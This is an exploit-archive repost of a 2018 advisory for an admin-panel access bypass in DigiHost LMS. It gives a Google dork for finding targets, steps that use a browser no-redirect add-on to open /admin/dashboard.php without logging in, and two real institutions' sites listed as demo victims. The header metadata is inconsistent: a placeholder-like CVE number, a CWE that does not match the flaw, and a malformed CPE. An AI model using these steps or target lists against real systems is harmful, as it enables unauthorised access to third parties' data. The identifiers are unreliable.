DigiHost LMS Admin No Redirect

CVE	Category	Price	Severity
CVE-2021-12345	CWE-601	Not disclosed	High

Author	Risk	Exploitation Type	Date
Unknown	High	Remote	2018-06-22

CPE
cpe:cpe:/a:digihost:lms:admin:no_redirect

Our sensors found this exploit at: https://cxsecurity.com/ascii/WLB-2018060238

Below is a copy:

DigiHost LMS Admin No Redirect

***************************************************
# Exploit Title: DigiHost LMS Admin No Redirect
# Google Dork: intext:"DigiHost LMS"
# Exploit: /admin/dashboard.php
# Date: 22/06/2018
# Author: 0N3R1D3R
# Team: Error Violence
# Tested on: Windows 10 x64
***************************************************
[+] Download and install NoRedirect Add-ons in firefox ( https://addons.mozilla.org/en-US/firefox/addon/noredirect/ )
[+] Search the dork in Google
[+] Open target
[+] Give ^ in NoRedirect Add-ons
[+] Exploit with /admin/dashboard.php
***************************************************
[+] Demo Site
[+] http://lms.avonacademy.in/admin/dashboard.php
[+] http://lms.careerdesk.in/admin/dashboard.php
***************************************************
Thanks To Error Violence

This information is provided for TESTING and LEGAL RESEARCH purposes only.
All trademarks used are properties of their respective owners. By visiting this website you agree to Terms of Use and Privacy Policy and Impressum